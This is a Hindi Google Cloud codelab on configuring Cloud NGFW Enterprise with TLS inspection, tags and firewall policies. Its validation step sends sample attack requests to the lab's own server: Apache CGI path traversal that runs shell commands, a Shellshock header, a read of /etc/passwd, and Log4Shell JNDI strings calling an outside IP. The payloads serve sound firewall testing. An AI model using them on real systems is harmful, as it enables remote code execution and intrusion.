1. परिचय
Cloud Next Generation Firewall (NGFW)
Cloud Next Generation Firewall, पूरी तरह से डिस्ट्रिब्यूट की गई फ़ायरवॉल सेवा है. इसमें सुरक्षा की बेहतर सुविधाएं, माइक्रो-सेगमेंटेशन, और व्यापक कवरेज शामिल है. इससे आपके Google Cloud वर्कलोड को अंदरूनी और बाहरी हमलों से सुरक्षित रखने में मदद मिलती है.
Cloud NGFW के ये फ़ायदे हैं:
- डिस्ट्रिब्यूटेड फ़ायरवॉल सेवा: Cloud NGFW, हर वर्कलोड पर स्टेटफ़ुल और पूरी तरह से डिस्ट्रिब्यूटेड होस्ट-आधारित नीति उल्लंघन ठीक करने का तरीका उपलब्ध कराता है. इससे ज़ीरो-ट्रस्ट सुरक्षा आर्किटेक्चर को चालू किया जा सकता है.
- आसान कॉन्फ़िगरेशन और डिप्लॉयमेंट: Cloud NGFW, नेटवर्क और क्रम के हिसाब से फ़ायरवॉल की नीतियां लागू करता है. इन्हें संसाधन की हैरारकी के नोड से अटैच किया जा सकता है. इन नीतियों की मदद से, Google Cloud के संसाधन की हैरारकी में फ़ायरवॉल का एक जैसा अनुभव मिलता है.
- बारीक कंट्रोल और माइक्रो-सेगमेंटेशन: फ़ायरवॉल की नीतियों और पहचान और ऐक्सेस मैनेजमेंट (आईएएम) से मैनेज किए जाने वाले टैग के कॉम्बिनेशन से, नॉर्थ-साउथ और ईस्ट-वेस्ट, दोनों तरह के ट्रैफ़िक को कंट्रोल किया जा सकता है. यह कंट्रोल, वर्चुअल प्राइवेट क्लाउड (वीपीसी) नेटवर्क और संगठनों के बीच, एक वीएम तक किया जा सकता है.
Cloud NGFW इन टियर में उपलब्ध है:
- Cloud Next Generation Firewall Essentials
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
Cloud NGFW Enterprise, डिस्ट्रिब्यूटेड Google Cloud Firewall फ़ैब्रिक में, घुसपैठ की रोकथाम की सेवा (आईपीएस) और ऐडवांस मैलवेयर सैंडबॉक्स (WildFire) की सुविधाएं जोड़ता है. ये सुविधाएं, लेयर 7 की सुरक्षा जांच सेवाएं हैं. हालांकि, WildFire की सुविधा का इस्तेमाल करना ज़रूरी नहीं है. टीएलएस इंस्पेक्शन की सुविधा का इस्तेमाल करके, टीएलएस से एन्क्रिप्ट किए गए ट्रैफ़िक की बारीकी से जांच और फ़ाइल का विश्लेषण किया जा सकता है.
अब अपने नेटवर्क आर्किटेक्चर या रूटिंग कॉन्फ़िगरेशन में कोई बदलाव किए बिना, बारीकी से कंट्रोल करने की सुविधा के साथ भरोसेमंद लेयर 7 नेक्स्ट जनरेशन फ़ायरवॉल (एनजीएफ़डब्ल्यू) जांच को डिप्लॉय किया जा सकता है.
आईपीएस और वैकल्पिक ऐडवांस मैलवेयर सैंडबॉक्स के साथ लेयर 7 फ़ायरवॉल कंट्रोल को चालू और डिप्लॉय करने के लिए, आपको ये काम करने होंगे:
- Google Cloud से मैनेज किए जाने वाले ज़ोनल फ़ायरवॉल एंडपॉइंट का सेट बनाएं. इसके अलावा, ऐडवांस मैलवेयर सैंडबॉक्स को चालू करें.
- इसके अलावा, टीएलएस इंस्पेक्शन की नीति भी बनाई जा सकती है.
- इसके अलावा, ट्रस्ट कॉन्फ़िगरेशन भी बनाया जा सकता है.
- इन एंडपॉइंट को उन वर्चुअल प्राइवेट क्लाउड (वीपीसी) नेटवर्क से जोड़ें जहां आपको Cloud NGFW Enterprise सेवा की ज़रूरत है.
- अपनी मौजूदा फ़ायरवॉल नीतियों और फ़ायरवॉल नियमों में आसान बदलाव करें. इससे, अलग-अलग ट्रैफ़िक पाथ के लिए, खतरे से बचाव और वैकल्पिक ऐडवांस मैलवेयर सैंडबॉक्स सुरक्षा प्रोफ़ाइलें तय की जा सकती हैं.
नेटवर्क फ़ायरवॉल की नीतियां
नेटवर्क फ़ायरवॉल की नीति, फ़ायरवॉल के नियमों के लिए कंटेनर के तौर पर काम करती है. नेटवर्क फ़ायरवॉल की नीति में तय किए गए नियम तब तक कहीं भी लागू नहीं होते, जब तक कि नीति को किसी वीपीसी नेटवर्क से नहीं जोड़ा जाता. हर वीपीसी नेटवर्क से, नेटवर्क फ़ायरवॉल की एक नीति जुड़ी हो सकती है. नेटवर्क फ़ायरवॉल की नीतियों में, फ़ायरवॉल के नियमों में आईएएम से मैनेज किए जाने वाले टैग (या सिर्फ़ टैग) इस्तेमाल किए जा सकते हैं. ये टैग, मौजूदा नेटवर्क टैग की जगह ले लेते हैं और इनका इस्तेमाल वर्कलोड को पहचान देने के लिए किया जा सकता है.
नेटवर्क फ़ायरवॉल की नीति को अलग-अलग नेटवर्क के साथ शेयर करने और आईएएम से मैनेज किए जाने वाले टैग के साथ इंटिग्रेट करने से, फ़ायरवॉल को कॉन्फ़िगर और मैनेज करना काफ़ी आसान हो जाता है.
नेटवर्क फ़ायरवॉल की नीति के लागू होने के बाद, Google Cloud की फ़ायरवॉल नीतियों में अब ये कॉम्पोनेंट शामिल हैं:
- Hierarchical Firewall Policy
- वीपीसी फ़ायरवॉल के नियम
- नेटवर्क फ़ायरवॉल की नीति ( ग्लोबल और रीजनल)
क्रम के मुताबिक फ़ायरवॉल की नीतियां, संसाधन के क्रम में संगठन और फ़ोल्डर नोड पर काम करती हैं. वहीं, वीपीसी फ़ायरवॉल के नियम और नेटवर्क फ़ायरवॉल की नीतियां, वीपीसी लेवल पर लागू होती हैं. वीपीसी फ़ायरवॉल के नियमों और नेटवर्क फ़ायरवॉल की नीतियों के बीच एक बड़ा अंतर यह है कि वीपीसी फ़ायरवॉल के नियम सिर्फ़ एक वीपीसी नेटवर्क पर लागू किए जा सकते हैं. वहीं, नेटवर्क फ़ायरवॉल की नीतियां, एक वीपीसी या वीपीसी के ग्रुप से अटैच की जा सकती हैं. इसके अलावा, बैच अपडेट जैसे अन्य फ़ायदे भी मिलते हैं.
आखिर में, हमारे पास इंप्लाइड फ़ायरवॉल नियम भी हैं, जो हर वीपीसी नेटवर्क के साथ आते हैं:
- इग्रेस डेटा ट्रैफ़िक का ऐसा नियम जिसकी कार्रवाई 'अनुमति दें' पर सेट हो और डेस्टिनेशन 0.0.0.0/0 हो
- इनग्रेस डेटा ट्रैफ़िक का ऐसा नियम जिसकी कार्रवाई 'अस्वीकार करें' पर सेट है और सोर्स 0.0.0.0/0 है
डिफ़ॉल्ट रूप से, नीति उल्लंघन ठीक करने के तरीके का क्रम इस डायग्राम में दिखाया गया है:

कृपया ध्यान दें कि वीपीसी फ़ायरवॉल के नियमों और ग्लोबल नेटवर्क फ़ायरवॉल नीति के बीच, लागू करने के क्रम को बदला जा सकता है. ग्राहक, gcloud कमांड का इस्तेमाल करके, किसी भी समय नीति उल्लंघन ठीक करने के तरीके का क्रम तय कर सकते हैं.
टैग
नेटवर्क फ़ायरवॉल की नीति के नियमों में इंटिग्रेट किए गए नए टैग, की-वैल्यू पेयर वाले संसाधन होते हैं. इन्हें Google Cloud के संसाधन की हैरारकी में, संगठन या प्रोजेक्ट-लेवल पर तय किया जाता है. इस तरह के टैग में IAM ऐक्सेस कंट्रोल होते हैं. इनसे यह तय होता है कि टैग पर कौन क्या कर सकता है. उदाहरण के लिए, पहचान और ऐक्सेस मैनेजमेंट (आईएएम) की अनुमतियों से यह तय किया जा सकता है कि कौनसे प्रिंसिपल, टैग को वैल्यू असाइन कर सकते हैं और कौनसे प्रिंसिपल, संसाधनों में टैग अटैच कर सकते हैं. अगर नेटवर्क फ़ायरवॉल का कोई नियम किसी टैग का रेफ़रंस देता है, तो उसे लागू करने के लिए किसी संसाधन पर लागू करना ज़रूरी है.
टैग, Google Cloud के इनहेरिटेंस रिसॉर्स मॉडल का पालन करते हैं. इसका मतलब है कि टैग और उनकी वैल्यू, पैरंट से हैरारकी में नीचे की ओर पास होती हैं. इस वजह से, टैग एक जगह पर बनाए जा सकते हैं. इसके बाद, संसाधन की हैरारकी में मौजूद अन्य फ़ोल्डर और प्रोजेक्ट उनका इस्तेमाल कर सकते हैं. टैग और ऐक्सेस से जुड़ी पाबंदी के बारे में ज़्यादा जानने के लिए, इस पेज पर जाएं.
टैग को नेटवर्क टैग नहीं समझना चाहिए. ये ऐसी स्ट्रिंग होती हैं जिन्हें Compute Engine इंस्टेंस में जोड़ा जा सकता है. ये इंस्टेंस से जुड़ी होती हैं और इंस्टेंस को बंद करने पर मिट जाती हैं. वीपीसी फ़ायरवॉल के नियमों में नेटवर्क टैग शामिल हो सकते हैं. हालांकि, इन्हें क्लाउड रिसॉर्स नहीं माना जाता है. इसलिए, इन पर आईएएम ऐक्सेस कंट्रोल लागू नहीं होता है.
ध्यान दें कि इस दस्तावेज़ में, टैग और आईएएम से मैनेज किए जाने वाले टैग को एक-दूसरे की जगह इस्तेमाल किया जा रहा है.
आपको क्या बनाना होगा
इस कोडलैब के लिए, एक प्रोजेक्ट की ज़रूरत होती है. साथ ही, वीपीसी नेटवर्क बनाने और कई नेटवर्क और सुरक्षा संसाधनों को मैनेज करने की सुविधा होनी चाहिए. इसमें बताया जाएगा कि Cloud NGFW Enterprise, आईपीएस और ऐडवांस मैलवेयर सैंडबॉक्स (WildFire) की सुविधा कैसे उपलब्ध करा सकता है:
- टीएलएस इंस्पेक्शन की मदद से, नॉर्थबाउंड इंटरनेट फ़्लो की जांच करना
- टीएलएस की जांच के साथ, इंट्रा-वीपीसी फ़्लो [ईस्ट-वेस्ट] की जांच करना
- [ज़रूरी नहीं] टीएलएस की जांच वाले ट्रैफ़िक पर, फ़ाइल पर आधारित अज्ञात खतरों के लिए, ऐडवांस मैलवेयर सैंडबॉक्स फ़ाइल सबमिशन और फ़ोरेंसिक को कॉन्फ़िगर करना और उनकी पुष्टि करना
जिन फ़्लो की जांच करनी है उन्हें Cloud Firewall के मैचिंग पैरामीटर का इस्तेमाल करके चुना जाएगा. इनमें 5-टपल (सोर्स आईपी, डेस्टिनेशन आईपी, प्रोटोकॉल, सोर्स पोर्ट, डेस्टिनेशन पोर्ट) और टैग शामिल हैं.

नेटवर्क फ़ायरवॉल की नीति के रूलबेस की आखिरी स्थिति, यहां दी गई टेबल जैसी होगी:
प्राथमिकता | Direction | Target | सोर्स | डेस्टिनेशन | कार्रवाई | समस्या |
100 | इन्ग्रेस डेटा ट्रैफ़िक | Server_Tag | सेहत से जुड़े आकलन | कोई भी | अनुमति दें | Essentials |
200 | इन्ग्रेस डेटा ट्रैफ़िक | Client_Tag, Server_Tag | IAP | कोई भी | अनुमति दें | Essentials |
800 | इन्ग्रेस डेटा ट्रैफ़िक | Server_Tag | 10.0.0.0/24 | 10.0.0.0/24 | एल7 की जांच | Enterprise |
850 | इग्रेस डेटा ट्रैफ़िक | Client_Tag | कोई भी | 10.0.0.0/24 | अनुमति दें | Essentials |
900 | इग्रेस डेटा ट्रैफ़िक | Client_Tag | कोई भी | कोई भी | एल7 की जांच | Enterprise |
आपको क्या सीखने को मिलेगा
- नेटवर्क फ़ायरवॉल नीति बनाने का तरीका.
- नेटवर्क फ़ायरवॉल की नीति के साथ टैग बनाने और इस्तेमाल करने का तरीका.
- टीएलएस की सुरक्षा जांच के साथ, Cloud NGFW Enterprise को कॉन्फ़िगर और इस्तेमाल करने का तरीका.
- [ज़रूरी नहीं] फ़ाइल पर आधारित अज्ञात खतरों के लिए, ऐडवांस मैलवेयर सैंडबॉक्स (WildFire) को कॉन्फ़िगर और उसकी पुष्टि करने का तरीका.
आपको इन चीज़ों की ज़रूरत होगी
- Google Cloud प्रोजेक्ट.
- इंस्टेंस डिप्लॉय करने और नेटवर्किंग कॉम्पोनेंट को कॉन्फ़िगर करने की जानकारी.
- वीपीसी फ़ायरवॉल कॉन्फ़िगरेशन की जानकारी.
2. शुरू करने से पहले
वैरिएबल बनाना/अपडेट करना
इस कोडलैब में, Cloud Shell में gcloud कॉन्फ़िगरेशन को लागू करने के लिए, $variables का इस्तेमाल किया जाता है.
Cloud Shell में, नीचे दिए गए कमांड चलाएं. साथ ही, ब्रैकेट में दी गई जानकारी को ज़रूरत के हिसाब से बदलें:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"` export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=ngfw-enterprise export billing_project=[billing-project-id]
3. एपीआई चालू करें
अगर आपने एपीआई चालू नहीं किए हैं, तो उन्हें चालू करें:
gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. Cloud NGFW Enterprise एंडपॉइंट बनाना
Cloud NGFW Enterprise एंडपॉइंट बनाने में करीब 20 मिनट लगते हैं. इसलिए, इसे पहले बनाया जाएगा. एंडपॉइंट बनाने के दौरान, बेस सेटअप भी किया जा सकता है.
सुरक्षा प्रोफ़ाइल और सुरक्षा प्रोफ़ाइल ग्रुप बनाएं:
gcloud network-security security-profiles threat-prevention \ create $prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat
अनुमानित आउटपुट:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.
पुष्टि करें कि संसाधन बन गए हैं:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
उम्मीद के मुताबिक आउटपुट (ध्यान दें कि इस्तेमाल किए जा रहे क्लाइंट के हिसाब से, आउटपुट का फ़ॉर्मैट अलग-अलग हो सकता है:
NAME: ngfw-enterprise-sp-threat NAME: ngfw-enterprise-spg
Cloud NGFW Enterprise एंडपॉइंट बनाएं:
gcloud network-security firewall-endpoints create $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$billing_project
यह पुष्टि करने के लिए कि एंडपॉइंट बनाया जा रहा है (CREATING), नीचे दिया गया कमांड चलाएं. अगर आपने --no-async का इस्तेमाल किया है, तो ACTIVE कमांड चलाएं.
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
अनुमानित आउटपुट (ध्यान दें कि इस्तेमाल किए जा रहे क्लाइंट के हिसाब से, आउटपुट का फ़ॉर्मैट अलग-अलग हो सकता है):
ID: $prefix-$zone LOCATION: $zone STATE: CREATING
ज़्यादा जानकारी पाने के लिए, यह कमांड चलाएं:
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
अनुमानित आउटपुट:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone state: CREATING updateTime: '2023-11-16T04:27:17.677731831Z'
इस प्रोसेस में करीब 20 मिनट लगते हैं. ज़रूरी संसाधनों को एक साथ बनाने के लिए, बेस सेटअप सेक्शन पर जाएं.
5. बेस सेटअप
वीपीसी नेटवर्क और सबनेट
वीपीसी नेटवर्क और सबनेट
वीपीसी नेटवर्क और सबनेट बनाएं:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Cloud Router और Cloud NAT गेटवे बनाएं:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
इंस्टेंस
क्लाइंट और वेब-सर्वर इंस्टेंस बनाएं:
gcloud compute instances create $prefix-$zone-client \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2-utils mtr iperf3 tcpdump -y'
gcloud compute instances create $prefix-$zone-www \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'
प्रोजेक्ट-लेवल टैग
अगर ज़रूरी हो, तो उपयोगकर्ता को tagAdmin की अनुमति असाइन करें:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin
प्रोजेक्ट-लेवल पर टैग कुंजी और वैल्यू बनाएं:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags
टैग को इंस्टेंस से बाइंड करें:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
ग्लोबल नेटवर्क फ़ायरवॉल नीति
ग्लोबल नेटवर्क फ़ायरवॉल की नीति बनाएं:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise with TLS" --global
हेल्थ-चेक और आइडेंटिटी-अवेयर प्रॉक्सी रेंज से ट्रैफ़िक को अनुमति देने के लिए, Cloud Firewall Essentials के ज़रूरी नियम बनाएं:
gcloud compute network-firewall-policies rules create 100 \
--description="allow http traffic from health-checks ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20
खास रेंज से आने वाले इन्ग्रेस ईस्ट-वेस्ट / इंट्रा-सबनेट ट्रैफ़िक को अनुमति देने के लिए, ज़रूरी Cloud Firewall नियम बनाएं. इन नियमों को अपडेट करके, टीएलएस की जांच के साथ Cloud NGFW Enterprise को चालू किया जाएगा:
gcloud compute network-firewall-policies rules create 800 \
--description "allow ingress internal traffic from tagged clients" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=INGRESS \
--enable-logging \
--layer4-configs tcp:443 \
--src-ip-ranges=10.0.0.0/24 \
--dest-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
क्लाउड फ़ायरवॉल की नीति को वीपीसी नेटवर्क से जोड़ें:
gcloud compute network-firewall-policies associations create \
--firewall-policy $prefix-fwpolicy \
--network $prefix-vpc \
--name $prefix-fwpolicy-association \
--global-firewall-policy
6. Cloud Firewall Endpoint Association
अगर आपने अब तक एनवायरमेंट वैरिएबल तय नहीं किए हैं और/या स्क्रिप्ट का तरीका चुना है, तो एनवायरमेंट वैरिएबल तय करें.
पुष्टि करें कि Cloud Firewall एंडपॉइंट बनाने की प्रोसेस पूरी हो गई है. स्टेटस ACTIVE दिखने के बाद ही आगे बढ़ें. हालांकि, क्रिएशन के दौरान स्टेटस CREATING दिखेगा:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
अनुमानित आउटपुट (ध्यान दें कि इस्तेमाल किए जा रहे क्लाइंट के हिसाब से, आउटपुट का फ़ॉर्मैट अलग-अलग हो सकता है):
ID: $prefix-$zone LOCATION: $zone STATE: ACTIVE
ज़्यादा जानकारी पाने के लिए, यह कमांड चलाएं:
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
अनुमानित आउटपुट:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone state: ACTIVE updateTime: '2023-11-16T04:49:53.776349352Z'
Cloud Firewall एंडपॉइंट को वीपीसी नेटवर्क से जोड़ें:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc \ --endpoint $prefix-$zone \ --organization $org_id
इस प्रोसेस में करीब 10 मिनट लगते हैं. स्टेटस चालू है के तौर पर दिखने के बाद ही, टीएलएस सेक्शन पर जाएं. हालांकि, बनाने के दौरान स्टेटस बनाया जा रहा है के तौर पर दिखता है:
gcloud network-security firewall-endpoint-associations list
पूरा होने पर अनुमानित आउटपुट:
ID: ngfw-enterprise-association LOCATION: $zone NETWORK: $prefix-vpc ENDPOINT: $prefix-$zone STATE: ACTIVE
ज़्यादा जानकारी पाने के लिए, यह कमांड चलाएं:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
अनुमानित आउटपुट:
createTime: '2023-11-16T04:57:06.108377222Z' firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association network: projects/$project_id/global/networks/$prefix-vpc state: ACTIVE updateTime: '2023-11-16T04:57:06.108377222Z'
7. टीएलएस रिसॉर्स कॉन्फ़िगर करना
सीए पूल बनाएं. इस संसाधन का इस्तेमाल, उस रूट सीए सर्टिफ़िकेट को सेव करने के लिए किया जाएगा जिसे हम NGFW Enterprise के लिए जनरेट करते हैं.
gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise
रूट सीए बनाएं. यह वह सीए सर्टिफ़िकेट है जिसका इस्तेमाल, NGFW Enterprise के ज़रिए किए गए अनुरोधों के लिए, अतिरिक्त सर्टिफ़िकेट पर हस्ताक्षर करने के लिए किया जाएगा.
gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"
अगर आपको नीचे दिया गया मैसेज दिखता है, तो y जवाब दें:
The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA? Do you want to continue (y/N)?
सेवा खाता बनाएं. इस सेवा खाते का इस्तेमाल, NGFW Enterprise के लिए सर्टिफ़िकेट का अनुरोध करने के लिए किया जाएगा:
gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id
सेवा खाते के लिए IAM अनुमतियां सेट करें:
gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester
टीएलएस नीति की YAML फ़ाइल बनाएं. इस फ़ाइल में, खास संसाधनों के बारे में जानकारी शामिल होगी:
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false EOF
टीएलएस जांच की नीति इंपोर्ट करें:
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
टीएलएस चालू करने के लिए, एंडपॉइंट असोसिएशन को अपडेट करें:
gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region
सीए सर्टिफ़िकेट पाएं और उसे क्लाइंट के सीए स्टोर में जोड़ें:
gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt
सीए सर्टिफ़िकेट को क्लाइंट पर ट्रांसफ़र करें:
gcloud compute scp --tunnel-through-iap ~/$prefix-CA-Root.crt $prefix-$zone-client:~/ --zone=$zone
वीएम से एसएसएच करें, सीए सर्टिफ़िकेट को /usr/local/share/ca-certificates पर ले जाएं, और सीए स्टोर को अपडेट करें:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates
Cloud Shell पर वापस जाएं.
सर्वर सर्टिफ़िकेट पर हस्ताक्षर करने की प्रोसेस:
Cloud Shell पर, pip कमांड का इस्तेमाल करके Pyca क्रिप्टोग्राफ़ी लाइब्रेरी इंस्टॉल करें:
pip install --user "cryptography>=2.2.0"
Google Cloud SDK को Pyca क्रिप्टोग्राफ़ी लाइब्रेरी इस्तेमाल करने की अनुमति देने के लिए, आपको साइट पैकेज चालू करने होंगे.
export CLOUDSDK_PYTHON_SITEPACKAGES=1
सर्वर सर्टिफ़िकेट बनाएं:
gcloud privateca certificates create --issuer-location=$region \ --issuer-pool $prefix-CA-Pool \ --subject "CN=Cloud NGFW Enterprise,O=Google" \ --ip-san=10.0.0.3 \ --generate-key \ --key-output-file=./key.pem \ --cert-output-file=./cert.pem
इससे Cloud Shell में cert.pem और key.pem फ़ाइल जनरेट होगी. इसके बाद, सर्टिफ़िकेट और कुंजी को सर्वर पर ट्रांसफ़र करें.
gcloud compute scp --tunnel-through-iap ~/cert.pem $prefix-$zone-www:~/ --zone=$zone gcloud compute scp --tunnel-through-iap ~/key.pem $prefix-$zone-www:~/ --zone=$zone
Apache के लिए सर्टिफ़िकेट की जानकारी अपडेट करने के लिए, सर्वर में एसएसएच करें:
gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone
सर्टिफ़िकेट और कुंजी को किसी खास फ़ोल्डर में ले जाएं:
sudo mv cert.pem /etc/ssl/certs/ sudo mv key.pem /etc/ssl/private/
साइन किए गए सर्टिफ़िकेट का इस्तेमाल करने के लिए, एसएसएल कॉन्फ़िगरेशन अपडेट करें:
sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf
Apache को रीस्टार्ट करें:
sudo systemctl restart apache2
Apache की स्थिति की पुष्टि करें:
sudo systemctl status apache2
यह चालू (चल रहा) होना चाहिए.
वीएम से बाहर निकलें और Cloud Shell पर जारी रखें.
8. नॉर्थबाउंड और ई/डब्ल्यू कनेक्टिविटी की पुष्टि करना
Cloud Shell में यहां दिए गए कमांड चलाएं और इस्तेमाल किए जाने वाले टारगेट आईपी नोट करें:
gcloud compute instances list --filter="name=($prefix-$zone-www)"
एक नया टैब खोलें और आईएपी के ज़रिए क्लाइंट वीएम से एसएसएच कनेक्शन शुरू करें. आपको नए टैब में वैरिएबल तय करने होंगे:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
यहां दिए गए कमांड चलाएं और इस्तेमाल किए जाने वाले टारगेट आईपी नोट करें. ब्रैकेट में मौजूद वैल्यू को पिछले चरण में नोट किए गए आईपी से बदलकर वैरिएबल बनाएं. साथ ही, पक्का करें कि उन तक पहुंचा जा सके:
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
निजी आईपी को कर्ल करें और पक्का करें कि उस तक पहुंचा जा सके:
curl https://$target_privateip --max-time 2
के अनुरोध के लिए संभावित नतीजे:
Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone
आईपी पते पर सैंपल अटैक भेजें. वेब सर्वर को सभी अनुरोधों का जवाब देना चाहिए. इससे यह पुष्टि होती है कि कोई एल7 जांच/रोकथाम नहीं की जा रही है:
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
अनुमानित नतीजों का सैंपल (निजी आईपी):
400 404 400 200 200
इसी तरह, इंटरनेट डेस्टिनेशन पर अनुरोध भेजें:
